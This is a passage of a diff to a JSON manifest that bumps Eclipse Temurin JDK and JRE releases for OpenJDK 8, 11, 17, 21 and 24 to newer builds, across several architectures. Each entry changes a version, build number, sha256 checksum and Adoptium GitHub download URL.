-            "url": "https://github.com/adoptium/temurin24-binaries/releases/download/jdk-24%2B36/OpenJDK24U-jdk_x64_alpine-linux_hotspot_24_36.tar.gz",
-            "version": "24.0.0"
+            "build": "9",
+            "sha256": "74627af4084a9eb65cc5bad3bb5723b89f1ffb5eaec9afbd696ec5bf684ed79a",
+            "url": "https://github.com/adoptium/temurin24-binaries/releases/download/jdk-24.0.1%2B9/OpenJDK24U-jdk_x64_alpine-linux_hotspot_24.0.1_9.tar.gz",
+            "version": "24.0.1"
           }
         },
         "openjdk8": {
           "packageType": "jdk",
           "vmType": "hotspot",
           "x86_64": {
-            "build": "6",
-            "sha256": "9fcb96380b25c1d1caec65b7606c387716a7ae51caf359f5f3ff0dcca40f231f",
-            "url": "https://github.com/adoptium/temurin8-binaries/releases/download/jdk8u442-b06/OpenJDK8U-jdk_x64_alpine-linux_hotspot_8u442b06.tar.gz",
-            "version": "8.0.442"
+            "build": "9",
+            "sha256": "be8abae7586c328ceb3252aefed9e51c29be91616968c0130b41e7e57c846f0f",
+            "url": "https://github.com/adoptium/temurin8-binaries/releases/download/jdk8u452-b09/OpenJDK8U-jdk_x64_alpine-linux_hotspot_8u452b09.tar.gz",
+            "version": "8.0.452"
           }
         }
       },
@@ -86,36 +86,36 @@
           "packageType": "jre",
           "vmType": "hotspot",
           "x86_64": {
-            "build": "4",
-            "sha256": "69031fc68d41189691dbeca73447ca543040d26995f61cef83fd7aed8fb4dbd2",
-            "url": "https://github.com/adoptium/temurin11-binaries/releases/download/jdk-11.0.26%2B4/OpenJDK11U-jre_x64_alpine-linux_hotspot_11.0.26_4.tar.gz",
-            "version": "11.0.26"
+            "build": "6",
+            "sha256": "5de5d17c737554ad3ba3b896679bb9af4d6c5dfe3b707931cc8b78f538a3f886",
+            "url": "https://github.com/adoptium/temurin11-binaries/releases/download/jdk-11.0.27%2B6/OpenJDK11U-jre_x64_alpine-linux_hotspot_11.0.27_6.tar.gz",
+            "version": "11.0.27"
           }
         },
         "openjdk17": {
           "packageType": "jre",
           "vmType": "hotspot",
           "x86_64": {
-            "build": "7",
-            "sha256": "9dcc53a30676692e604571a6e0bd13ac0c1b15f4bc2b78d19f88bd316075f84a",
-            "url": "https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.14%2B7/OpenJDK17U-jre_x64_alpine-linux_hotspot_17.0.14_7.tar.gz",
-            "version": "17.0.14"
+            "build": "6",
+            "sha256": "38c90337ca2471085f9292d24bec75413b4e56c7826ef25e150a40cc2f727e36",
+            "url": "https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.15%2B6/OpenJDK17U-jre_x64_alpine-linux_hotspot_17.0.15_6.tar.gz",
+            "version": "17.0.15"
           }
         },
         "openjdk21": {
           "aarch64": {
-            "build": "7",
-            "sha256": "bcd459e70cdddaa6ada0d855ce944c592814042f1e12d53aa08fa89eedcdf893",
-            "url": "https://github.com/adoptium/temurin21-binaries/releases/download/jdk-21.0.6%2B7/OpenJDK21U-jre_aarch64_alpine-linux_hotspot_21.0.6_7.tar.gz",
-            "version": "21.0.6"
+            "build": "6",
+            "sha256": "53877576d3a9dcbf2024789208aa5f045cc65a5645b07d67124b09c2a84f4e1a",
+            "url": "https://github.com/adoptium/temurin21-binaries/releases/download/jdk-21.0.7%2B6/OpenJDK21U-jre_aarch64_alpine-linux_hotspot_21.0.7_6.tar.gz",
+            "version": "21.0.7"
           },
           "packageType": "jre",
           "vmType": "hotspot",
           "x86_64": {
-            "build": "7",
-            "sha256": "2330f38feb59ab7af0e2fffc12d5500005d35f7f53f49dd8a9f9aa1ae68aee5f",
-            "url": "https://github.com/adoptium/temurin21-binaries/releases/download/jdk-21.0.6%2B7/OpenJDK21U-jre_x64_alpine-linux_hotspot_21.0.6_7.tar.gz",
-            "version": "21.0.6"
+            "build": "6",
+            "sha256": "f252e13683b381f9f3bfa4948c827ebd80b8e5bd444a1f99de02c56d76c7ad4c",
+            "url": "https://github.com/adoptium/temurin21-binaries/releases/download/jdk-21.0.7%2B6/OpenJDK21U-jre_x64_alpine-linux_hotspot_21.0.7_6.tar.gz",
+            "version": "21.0.7"
           }
         },
         "openjdk23": {
@@ -136,28 +136,28 @@
         },
         "openjdk24": {
           "aarch64": {
-            "build": "36",
-            "sha256": "0bc8181c7e85d55bba652503db62e60846439f279271d583b740ac70f9f5ae87",
-            "url": "https://github.com/adoptium/temurin24-binaries/releases/download/jdk-24%2B36/OpenJDK24U-jre_aarch64_alpine-linux_hotspot_24_36.tar.gz",
-            "version": "24.0.0"
+            "build": "9",
+            "sha256": "1e8b49129ce3208299c93a73455b090909a65478313ed411b4574d09c8ae9670",
+            "url": "https://github.com/adoptium/temurin24-binaries/releases/download/jdk-24.0.1%2B9/OpenJDK24U-jre_aarch64_alpine-linux_hotspot_24.0.1_9.tar.gz",
+            "version": "24.0.1"
           },
           "packageType": "jre",
           "vmType": "hotspot",
           "x86_64": {
-            "build": "36",
-            "sha256": "0f738719d0483d6fe7f08a1371d1c696d68dcfe39f073b4241673f35ffc8d655",
-            "url": "https://github.com/adoptium/temurin24-binaries/releases/download/jdk-24%2B36/OpenJDK24U-jre_x64_alpine-linux_hotspot_24_36.tar.gz",
-            "version": "24.0.0"
+            "build": "9",
+            "sha256": "409eaa7cf973e5d47b285cd86082b620422e6bbbcf0314c10346250f1e6c66d9",
+            "url": "https://github.com/adoptium/temurin24-binaries/releases/download/jdk-24.0.1%2B9/OpenJDK24U-jre_x64_alpine-linux_hotspot_24.0.1_9.tar.gz",
+            "version": "24.0.1"
           }
         },
         "openjdk8": {
           "packageType": "jre",
           "vmType": "hotspot",
           "x86_64": {
-            "build": "6",
-            "sha256": "4fb0636534b0cd4534a3cdcbbe7cf2e937523d6376d9cef00cc6cfd5d19537e8",
-            "url": "https://github.com/adoptium/temurin8-binaries/releases/download/jdk8u442-b06/OpenJDK8U-jre_x64_alpine-linux_hotspot_8u442b06.tar.gz",
-            "version": "8.0.442"
+            "build": "9",
+            "sha256": "3282abad4d63a1cdbfa9f98a3d73e7e09bc810a5612f5f37586c0df901478082",
+            "url": "https://github.com/adoptium/temurin8-binaries/releases/download/jdk8u452-b09/OpenJDK8U-jre_x64_alpine-linux_hotspot_8u452b09.tar.gz",
+            "version": "8.0.452"
           }
         }
       }
@@ -166,104 +166,104 @@
       "jdk": {
         "openjdk11": {
           "aarch64": {
-            "build": "4",
-            "sha256": "e7b3d37c347fe7af2a53711f16da8b9b164748ce4a84e47bb0739c3be7f1c421",
-            "url": "https://github.com/adoptium/temurin11-binaries/releases/download/jdk-11.0.26%2B4/OpenJDK11U-jdk_aarch64_linux_hotspot_11.0.26_4.tar.gz",
-            "version": "11.0.26"
+            "build": "6",
+            "sha256": "4decd2e5caf4667144091cf723458b14148dc990730b3ecb34bba5eb1aa4ad5d",
+            "url": "https://github.com/adoptium/temurin11-binaries/releases/download/jdk-11.0.27%2B6/OpenJDK11U-jdk_aarch64_linux_hotspot_11.0.27_6.tar.gz",
+            "version": "11.0.27"
           },
           "armv6l": {
-            "build": "4",
-            "sha256": "79d574328f6960d40349996ef8c5949581f9e533dc76f134857c4125c78558ff",
-            "url": "https://github.com/adoptium/temurin11-binaries/releases/download/jdk-11.0.26%2B4/OpenJDK11U-jdk_arm_linux_hotspot_11.0.26_4.tar.gz",
-            "version": "11.0.26"
+            "build": "6",
+            "sha256": "5eb00b18e37757775e6f46c706eae38d9e91be49de5712987801cba8ffd77767",
+            "url": "https://github.com/adoptium/temurin11-binaries/releases/download/jdk-11.0.27%2B6/OpenJDK11U-jdk_arm_linux_hotspot_11.0.27_6.tar.gz",
+            "version": "11.0.27"
           },
           "armv7l": {
-            "build": "4",
-            "sha256": "79d574328f6960d40349996ef8c5949581f9e533dc76f134857c4125c78558ff",
-            "url": "https://github.com/adoptium/temurin11-binaries/releases/download/jdk-11.0.26%2B4/OpenJDK11U-jdk_arm_linux_hotspot_11.0.26_4.tar.gz",
-            "version": "11.0.26"
+            "build": "6",
+            "sha256": "5eb00b18e37757775e6f46c706eae38d9e91be49de5712987801cba8ffd77767",
+            "url": "https://github.com/adoptium/temurin11-binaries/releases/download/jdk-11.0.27%2B6/OpenJDK11U-jdk_arm_linux_hotspot_11.0.27_6.tar.gz",
+            "version": "11.0.27"
           },
           "packageType": "jdk",
           "powerpc64le": {
-            "build": "4",
-            "sha256": "42c63651125a149cee2ba781300d75ffa67a25032f95038d50ee6d6177cb2e41",
-            "url": "https://github.com/adoptium/temurin11-binaries/releases/download/jdk-11.0.26%2B4/OpenJDK11U-jdk_ppc64le_linux_hotspot_11.0.26_4.tar.gz",
-            "version": "11.0.26"
+            "build": "6",
+            "sha256": "9407ecef765ec681fb187f084f1e029001abd5baf7a13b32067e9cbdfb140130",
+            "url": "https://github.com/adoptium/temurin11-binaries/releases/download/jdk-11.0.27%2B6/OpenJDK11U-jdk_ppc64le_linux_hotspot_11.0.27_6.tar.gz",
+            "version": "11.0.27"
           },
           "vmType": "hotspot",
           "x86_64": {
-            "build": "4",
-            "sha256": "7def4c5807b38ef1a7bb30a86572a795ca604127cc8d1f5b370abf23618104e6",
-            "url": "https://github.com/adoptium/temurin11-binaries/releases/download/jdk-11.0.26%2B4/OpenJDK11U-jdk_x64_linux_hotspot_11.0.26_4.tar.gz",
-            "version": "11.0.26"
+            "build": "6",
+            "sha256": "dc6136eaa8c1898cbf8973bb1e203e1f653f4c9166be0f5bebe0b02c5f3b5ae3",
+            "url": "https://github.com/adoptium/temurin11-binaries/releases/download/jdk-11.0.27%2B6/OpenJDK11U-jdk_x64_linux_hotspot_11.0.27_6.tar.gz",
+            "version": "11.0.27"
           }
         },
         "openjdk17": {
           "aarch64": {
-            "build": "7",
-            "sha256": "62efc3e83fc9bcd08db7c4f02977328cb3559a54519078d8337314cf025d19b7",
-            "url": "https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.14%2B7/OpenJDK17U-jdk_aarch64_linux_hotspot_17.0.14_7.tar.gz",
-            "version": "17.0.14"
+            "build": "6",
+            "sha256": "0db0d6cbe33238f33aa52837b1dc8fc6067b34d206b3e0f9243c7f8c9b9539a5",
+            "url": "https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.15%2B6/OpenJDK17U-jdk_aarch64_linux_hotspot_17.0.15_6.tar.gz",
+            "version": "17.0.15"
           },
           "armv6l": {
-            "build": "7",
-            "sha256": "f43986385403c0f08bd3512c9d11a51c49044a7c8a0a39cf4e2e3731ca0db229",
-            "url": "https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.14%2B7/OpenJDK17U-jdk_arm_linux_hotspot_17.0.14_7.tar.gz",
-            "version": "17.0.14"
+            "build": "6",
+            "sha256": "8a3c859355f898c119d154e4caf867263e0e4c8065a91d63ae10666c19bc1108",
+            "url": "https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.15%2B6/OpenJDK17U-jdk_arm_linux_hotspot_17.0.15_6.tar.gz",
+            "version": "17.0.15"
           },
           "armv7l": {
-            "build": "7",
-            "sha256": "f43986385403c0f08bd3512c9d11a51c49044a7c8a0a39cf4e2e3731ca0db229",
-            "url": "https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.14%2B7/OpenJDK17U-jdk_arm_linux_hotspot_17.0.14_7.tar.gz",
-            "version": "17.0.14"
+            "build": "6",
+            "sha256": "8a3c859355f898c119d154e4caf867263e0e4c8065a91d63ae10666c19bc1108",
+            "url": "https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.15%2B6/OpenJDK17U-jdk_arm_linux_hotspot_17.0.15_6.tar.gz",
+            "version": "17.0.15"
           },
           "packageType": "jdk",
           "powerpc64le": {
-            "build": "7",
-            "sha256": "f4cb9ee5906a44d110fa381310cd7181d95498d27087d449e7e9b74bddd9def2",
-            "url": "https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.14%2B7/OpenJDK17U-jdk_ppc64le_linux_hotspot_17.0.14_7.tar.gz",
-            "version": "17.0.14"
+            "build": "6",
+            "sha256": "0823d92d9537fcdd56952abc450d1f9585b4d329f8f884dcb230a2e08db6bf5d",
+            "url": "https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.15%2B6/OpenJDK17U-jdk_ppc64le_linux_hotspot_17.0.15_6.tar.gz",
+            "version": "17.0.15"
           },
           "riscv64": {
-            "build": "7",
-            "sha256": "d7ba818b1417b67f1f3cdcf7c5fac5e179998469dce7448349f24175eb9b2871",
-            "url": "https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.14%2B7/OpenJDK17U-jdk_riscv64_linux_hotspot_17.0.14_7.tar.gz",
-            "version": "17.0.14"
+            "build": "6",
+            "sha256": "1a9a532a6c3e591c5eb72ef875d0f5825961bf8cb0eeea876d7f1e198575ed49",
+            "url": "https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.15%2B6/OpenJDK17U-jdk_riscv64_linux_hotspot_17.0.15_6.tar.gz",
+            "version": "17.0.15"
           },
           "vmType": "hotspot",
           "x86_64": {
-            "build": "7",
-            "sha256": "a3af83983fb94dd7d11b13ba2dba0fb6819dc2caaf87e6937afd22ad4680ae9a",
-            "url": "https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.14%2B7/OpenJDK17U-jdk_x64_linux_hotspot_17.0.14_7.tar.gz",
-            "version": "17.0.14"
+            "build": "6",
+            "sha256": "9616877c733c9249328ea9bd83a5c8c30e0f9a7af180cac8ffda9034161c2df2",
+            "url": "https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.15%2B6/OpenJDK17U-jdk_x64_linux_hotspot_17.0.15_6.tar.gz",
+            "version": "17.0.15"
           }
         },
         "openjdk21": {
           "aarch64": {
-            "build": "7",
-            "sha256": "04fe1273f624187d927f1b466e8cdb630d70786db07bee7599bfa5153060afd3",
-            "url": "https://github.com/adoptium/temurin21-binaries/releases/download/jdk-21.0.6%2B7/OpenJDK21U-jdk_aarch64_linux_hotspot_21.0.6_7.tar.gz",
-            "version": "21.0.6"
+            "build": "6",
+            "sha256": "31dba70ba928c78c20d62049ac000f79f7a7ab11f9d9c11e703f52d60aa64f93",
+            "url": "https://github.com/adoptium/temurin21-binaries/releases/download/jdk-21.0.7%2B6/OpenJDK21U-jdk_aarch64_linux_hotspot_21.0.7_6.tar.gz",
+            "version": "21.0.7"
           },
           "packageType": "jdk",
           "powerpc64le": {
-            "build": "7",
-            "sha256": "163724b70b86d5a8461f85092165a9cc5a098ed900fee90d1b0c0be9607ae3d2",
-            "url": "https://github.com/adoptium/temurin21-binaries/releases/download/jdk-21.0.6%2B7/OpenJDK21U-jdk_ppc64le_linux_hotspot_21.0.6_7.tar.gz",
-            "version": "21.0.6"
+            "build": "6",
+            "sha256": "2ddc0dc14b07d9e853875aac7f84c23826fff18b9cea618c93efe0bcc8f419c2",
+            "url": "https://github.com/adoptium/temurin21-binaries/releases/download/jdk-21.0.7%2B6/OpenJDK21U-jdk_ppc64le_linux_hotspot_21.0.7_6.tar.gz",
+            "version": "21.0.7"
           },
           "riscv64": {
-            "build": "7",
-            "sha256": "203796e4ba2689aa921b5e0cdc9e02984d88622f80fcb9acb05a118b05007be8",
-            "url": "https://github.com/adoptium/temurin21-binaries/releases/download/jdk-21.0.6%2B7/OpenJDK21U-jdk_riscv64_linux_hotspot_21.0.6_7.tar.gz",
-            "version": "21.0.6"
+            "build": "6",
+            "sha256": "d75f33ee7f9e5532bce263db83443ffed7d9bae7ff3ed41e48d137808adfe513",
+            "url": "https://github.com/adoptium/temurin21-binaries/releases/download/jdk-21.0.7%2B6/OpenJDK21U-jdk_riscv64_linux_hotspot_21.0.7_6.tar.gz",
+            "version": "21.0.7"
           },
           "vmType": "hotspot",
           "x86_64": {
-            "build": "7",
-            "sha256": "a2650fba422283fbed20d936ce5d2a52906a5414ec17b2f7676dddb87201dbae",
-            "url": "https://github.com/adoptium/temurin21-binaries/releases/download/jdk-21.0.6%2B7/OpenJDK21U-jdk_x64_linux_hotspot_21.0.6_7.tar.gz",
-            "version": "21.0.6"
+            "build": "6",
+            "sha256": "974d3acef0b7193f541acb61b76e81670890551366625d4f6ca01b91ac152ce0",
+            "url": "https://github.com/adoptium/temurin21-binaries/releases/download/jdk-21.0.7%2B6/OpenJDK21U-jdk_x64_linux_hotspot_21.0.7_6.tar.gz",
+            "version": "21.0.7"
           }
         },
         "openjdk23": {
@@ -296,168 +296,168 @@
         },
         "openjdk24": {
           "aarch64": {
-            "build": "36",
-            "sha256": "18071047526ab4b53131f9bb323e8703485ae37fcb2f2c5ef0f1b7bab66d1b94",
-            "url": "https://github.com/adoptium/temurin24-binaries/releases/download/jdk-24%2B36/OpenJDK24U-jdk_aarch64_linux_hotspot_24_36.tar.gz",
-            "version": "24.0.0"
+            "build": "9",
+            "sha256": "a598260e340028d9b2383c23df16aa286769a661bd3bf28a52e8c1a5774b1110",
+            "url": "https://github.com/adoptium/temurin24-binaries/releases/download/jdk-24.0.1%2B9/OpenJDK24U-jdk_aarch64_linux_hotspot_24.0.1_9.tar.gz",
+            "version": "24.0.1"
           },
           "packageType": "jdk",
           "powerpc64le": {
-            "build": "36",
-            "sha256": "3a5641ab862a2bbae56886d4ec47f735052780bfe124df7aea2ca40e0f973b5a",
-            "url": "https://github.com/adoptium/temurin24-binaries/releases/download/jdk-24%2B36/OpenJDK24U-jdk_ppc64le_linux_hotspot_24_36.tar.gz",
-            "version": "24.0.0"
+            "build": "9",
+            "sha256": "770e7e506d5ea3baf6c4c9004a82648e29508a1c731d8425acded34906e91b09",
+            "url": "https://github.com/adoptium/temurin24-binaries/releases/download/jdk-24.0.1%2B9/OpenJDK24U-jdk_ppc64le_linux_hotspot_24.0.1_9.tar.gz",
+            "version": "24.0.1"
           },
           "riscv64": {
-            "build": "36",
-            "sha256": "a1d993ab0b4b80101ec2e2452bdd37735572b734c255576a47c5130eab55f09a",
-            "url": "https://github.com/adoptium/temurin24-binaries/releases/download/jdk-24%2B36/OpenJDK24U-jdk_riscv64_linux_hotspot_24_36.tar.gz",
-            "version": "24.0.0"
+            "build": "9",
+            "sha256": "4e953ec63e141b667e02f7179304c6553cbd13ba94b60dcadd8e45c7f309c89d",
+            "url": "https://github.com/adoptium/temurin24-binaries/releases/download/jdk-24.0.1%2B9/OpenJDK24U-jdk_riscv64_linux_hotspot_24.0.1_9.tar.gz",
+            "version": "24.0.1"
           },
           "vmType": "hotspot",
           "x86_64": {
-            "build": "36",
-            "sha256": "c340dee97b6aa215d248bc196dcac5b56e7be9b5c5d45e691344d40d5d0b171d",
-            "url": "https://github.com/adoptium/temurin24-binaries/releases/download/jdk-24%2B36/OpenJDK24U-jdk_x64_linux_hotspot_24_36.tar.gz",
-            "version": "24.0.0"
+            "build": "9",
+            "sha256": "78832cb5ea4074f2215cde0d01d6192d09c87636fc24b36647aea61fb23b8272",
+            "url": "https://github.com/adoptium/temurin24-binaries/releases/download/jdk-24.0.1%2B9/OpenJDK24U-jdk_x64_linux_hotspot_24.0.1_9.tar.gz",
+            "version": "24.0.1"
           }
         },
         "openjdk8": {
           "aarch64": {
-            "build": "6",
-            "sha256": "1d1662bd8ca7edc9281c723d9eebafea940e6a41464bdc43a83b564bc974c7e5",
-            "url": "https://github.com/adoptium/temurin8-binaries/releases/download/jdk8u442-b06/OpenJDK8U-jdk_aarch64_linux_hotspot_8u442b06.tar.gz",
-            "version": "8.0.442"
+            "build": "9",
+            "sha256": "d8a1aecea0913b7a1e0d737ba6f7ea99059b3f6fd17813d4a24e8b3fc3aee278",
+            "url": "https://github.com/adoptium/temurin8-binaries/releases/download/jdk8u452-b09/OpenJDK8U-jdk_aarch64_linux_hotspot_8u452b09.tar.gz",
+            "version": "8.0.452"
           },
           "armv6l": {
-            "build": "6",
-            "sha256": "c555750ee41799d30553bd9744c1ab9b8e6b2a2ea83195619a11ef30cc4154f4",
-            "url": "https://github.com/adoptium/temurin8-binaries/releases/download/jdk8u442-b06/OpenJDK8U-jdk_arm_linux_hotspot_8u442b06.tar.gz",
-            "version": "8.0.442"
+            "build": "9",
+            "sha256": "a467f86d0dc4c9077edeac5eeae0622a556399180628eee6969c745afb1deaf0",
+            "url": "https://github.com/adoptium/temurin8-binaries/releases/download/jdk8u452-b09/OpenJDK8U-jdk_arm_linux_hotspot_8u452b09.tar.gz",
+            "version": "8.0.452"
           },
           "armv7l": {
-            "build": "6",
-            "sha256": "c555750ee41799d30553bd9744c1ab9b8e6b2a2ea83195619a11ef30cc4154f4",
-            "url": "https://github.com/adoptium/temurin8-binaries/releases/download/jdk8u442-b06/OpenJDK8U-jdk_arm_linux_hotspot_8u442b06.tar.gz",
-            "version": "8.0.442"
+            "build": "9",
+            "sha256": "a467f86d0dc4c9077edeac5eeae0622a556399180628eee6969c745afb1deaf0",
+            "url": "https://github.com/adoptium/temurin8-binaries/releases/download/jdk8u452-b09/OpenJDK8U-jdk_arm_linux_hotspot_8u452b09.tar.gz",
+            "version": "8.0.452"
           },
           "packageType": "jdk",
           "powerpc64le": {
-            "build": "6",
-            "sha256": "7eac77deb8fc6c6130f9445c9a68af0bcc40bf6736b5672ef5c3d737c025e84d",
-            "url": "https://github.com/adoptium/temurin8-binaries/releases/download/jdk8u442-b06/OpenJDK8U-jdk_ppc64le_linux_hotspot_8u442b06.tar.gz",
-            "version": "8.0.442"
+            "build": "9",
+            "sha256": "ff6e0f7fad0f46fea47193b95e4187e294ba69bb9059704f5df9f2fb74125732",
+            "url": "https://github.com/adoptium/temurin8-binaries/releases/download/jdk8u452-b09/OpenJDK8U-jdk_ppc64le_linux_hotspot_8u452b09.tar.gz",
+            "version": "8.0.452"
           },
           "vmType": "hotspot",
           "x86_64": {
-            "build": "6",
-            "sha256": "5b0a0145e7790552a9c8767b4680074c4628ec276e5bb278b61d85cf90facafa",
-            "url": "https://github.com/adoptium/temurin8-binaries/releases/download/jdk8u442-b06/OpenJDK8U-jdk_x64_linux_hotspot_8u442b06.tar.gz",
-            "version": "8.0.442"
+            "build": "9",
+            "sha256": "9448308a21841960a591b47927cf2d44fdc4c0533a5f8111a4b243a6bafb5d27",
+            "url": "https://github.com/adoptium/temurin8-binaries/releases/download/jdk8u452-b09/OpenJDK8U-jdk_x64_linux_hotspot_8u452b09.tar.gz",
+            "version": "8.0.452"
           }
         }
       },
       "jre": {
         "openjdk11": {
           "aarch64": {
-            "build": "4",
-            "sha256": "4ececb5c229763107e9e4acf3b7035db38cf18a98a47176fa5ed1be3f3d15518",
-            "url": "https://github.com/adoptium/temurin11-binaries/releases/download/jdk-11.0.26%2B4/OpenJDK11U-jre_aarch64_linux_hotspot_11.0.26_4.tar.gz",
-            "version": "11.0.26"
+            "build": "6",
+            "sha256": "e486056040ea7878a6e676bf8fd9112128045b3c1e5230b5dcf73756fc63f7e5",
+            "url": "https://github.com/adoptium/temurin11-binaries/releases/download/jdk-11.0.27%2B6/OpenJDK11U-jre_aarch64_linux_hotspot_11.0.27_6.tar.gz",
+            "version": "11.0.27"
           },
           "armv6l": {
-            "build": "4",
-            "sha256": "e4a00a3ea318a63ba97236633f34c8a5477f6cdb643cf6883788840818110f5f",
-            "url": "https://github.com/adoptium/temurin11-binaries/releases/download/jdk-11.0.26%2B4/OpenJDK11U-jre_arm_linux_hotspot_11.0.26_4.tar.gz",
-            "version": "11.0.26"
+            "build": "6",
+            "sha256": "4cdccdb7da9590635bc9ef60c5c1d3b6c74dd7df2b8c2d265957c54cc6afa274",
+            "url": "https://github.com/adoptium/temurin11-binaries/releases/download/jdk-11.0.27%2B6/OpenJDK11U-jre_arm_linux_hotspot_11.0.27_6.tar.gz",
+            "version": "11.0.27"
           },
           "armv7l": {
-            "build": "4",
-            "sha256": "e4a00a3ea318a63ba97236633f34c8a5477f6cdb643cf6883788840818110f5f",
-            "url": "https://github.com/adoptium/temurin11-binaries/releases/download/jdk-11.0.26%2B4/OpenJDK11U-jre_arm_linux_hotspot_11.0.26_4.tar.gz",
-            "version": "11.0.26"
+            "build": "6",
+            "sha256": "4cdccdb7da9590635bc9ef60c5c1d3b6c74dd7df2b8c2d265957c54cc6afa274",
+            "url": "https://github.com/adoptium/temurin11-binaries/releases/download/jdk-11.0.27%2B6/OpenJDK11U-jre_arm_linux_hotspot_11.0.27_6.tar.gz",
+            "version": "11.0.27"
           },
           "packageType": "jre",
           "powerpc64le": {
-            "build": "4",
-            "sha256": "69b38f0dde128d8c606012335cd60f1f55afa09b4135582188943bee699ebf03",
-            "url": "https://github.com/adoptium/temurin11-binaries/releases/download/jdk-11.0.26%2B4/OpenJDK11U-jre_ppc64le_linux_hotspot_11.0.26_4.tar.gz",
-            "version": "11.0.26"
+            "build": "6",
+            "sha256": "4f8d67bd58137bac307cd6a07f4454ca92dc21632505e9bd8e41652a741d10e9",
+            "url": "https://github.com/adoptium/temurin11-binaries/releases/download/jdk-11.0.27%2B6/OpenJDK11U-jre_ppc64le_linux_hotspot_11.0.27_6.tar.gz",
+            "version": "11.0.27"
           },
           "vmType": "hotspot",
           "x86_64": {
-            "build": "4",
-            "sha256": "d26c566a7010d1303d3979b6f076e7911b49419a609c9e4d81f27262bf47f87c",
-            "url": "https://github.com/adoptium/temurin11-binaries/releases/download/jdk-11.0.26%2B4/OpenJDK11U-jre_x64_linux_hotspot_11.0.26_4.tar.gz",
-            "version": "11.0.26"
+            "build": "6",
+            "sha256": "d854baf8fcf835e28142d1519b88a1367c117e01fa1c18e34f9a1435d02a0437",
+            "url": "https://github.com/adoptium/temurin11-binaries/releases/download/jdk-11.0.27%2B6/OpenJDK11U-jre_x64_linux_hotspot_11.0.27_6.tar.gz",
+            "version": "11.0.27"
           }
         },
         "openjdk17": {
           "aarch64": {
-            "build": "7",
-            "sha256": "bab3f352fc7144ac1435924f056872d16f4b32c8bcda58b9a77b636eb1c664f4",
-            "url": "https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.14%2B7/OpenJDK17U-jre_aarch64_linux_hotspot_17.0.14_7.tar.gz",
-            "version": "17.0.14"
+            "build": "6",
+            "sha256": "c89467f543bd434b71f3b748adeeeb1b2692f90242824b78205be1ae72ba385f",
+            "url": "https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.15%2B6/OpenJDK17U-jre_aarch64_linux_hotspot_17.0.15_6.tar.gz",
+            "version": "17.0.15"
           },
           "armv6l": {
-            "build": "7",
-            "sha256": "7ac439bce4d5ecddb250b31401b1c1a6da2762f51652eafedd53584a0d9e3130",
-            "url": "https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.14%2B7/OpenJDK17U-jre_arm_linux_hotspot_17.0.14_7.tar.gz",
-            "version": "17.0.14"
+            "build": "6",
+            "sha256": "c5ba30280b49f5654440c897265819ed749259afd2d46d3136720ab182933679",
+            "url": "https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.15%2B6/OpenJDK17U-jre_arm_linux_hotspot_17.0.15_6.tar.gz",
+            "version": "17.0.15"
           },
           "armv7l": {
-            "build": "7",
-            "sha256": "7ac439bce4d5ecddb250b31401b1c1a6da2762f51652eafedd53584a0d9e3130",
-            "url": "https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.14%2B7/OpenJDK17U-jre_arm_linux_hotspot_17.0.14_7.tar.gz",
-            "version": "17.0.14"
+            "build": "6",
+            "sha256": "c5ba30280b49f5654440c897265819ed749259afd2d46d3136720ab182933679",
+            "url": "https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.15%2B6/OpenJDK17U-jre_arm_linux_hotspot_17.0.15_6.tar.gz",
+            "version": "17.0.15"
           },
           "packageType": "jre",
           "powerpc64le": {
-            "build": "7",
-            "sha256": "2a730e9d34cce4d588739b626a034ed68c065a2db61048ee7886be48ec9fe460",
-            "url": "https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.14%2B7/OpenJDK17U-jre_ppc64le_linux_hotspot_17.0.14_7.tar.gz",
-            "version": "17.0.14"
+            "build": "6",
+            "sha256": "f35795f3f62885460e96ebcc2ee4e34bb59ab0d1668f0dc0642070ed89e3dda9",
+            "url": "https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.15%2B6/OpenJDK17U-jre_ppc64le_linux_hotspot_17.0.15_6.tar.gz",
+            "version": "17.0.15"
           },
           "riscv64": {
-            "build": "7",
-            "sha256": "2f77e44aa9fec9cf35b0b1fd492055e7fec0a3ea4d4338def6b42bd46d485e02",
-            "url": "https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.14%2B7/OpenJDK17U-jre_riscv64_linux_hotspot_17.0.14_7.tar.gz",
-            "version": "17.0.14"
+            "build": "6",
+            "sha256": "392d179be0f9fde0b74aeb1f308be8324c2aa8c970a5c5ea456993fcbb7aa798",
+            "url": "https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.15%2B6/OpenJDK17U-jre_riscv64_linux_hotspot_17.0.15_6.tar.gz",
+            "version": "17.0.15"
           },
           "vmType": "hotspot",
           "x86_64": {
-            "build": "7",
-            "sha256": "a4b0015872758aac6a5d17139e952a3951ee536ae6d9a99828823a80a71add56",
-            "url": "https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.14%2B7/OpenJDK17U-jre_x64_linux_hotspot_17.0.14_7.tar.gz",
-            "version": "17.0.14"
+            "build": "6",
+            "sha256": "aaed740c38ff1e87a4b920f9deb165d419d9fdf23f423740d2ecb280eeab9647",
+            "url": "https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.15%2B6/OpenJDK17U-jre_x64_linux_hotspot_17.0.15_6.tar.gz",
+            "version": "17.0.15"
           }
         },
         "openjdk21": {
           "aarch64": {
-            "build": "7",
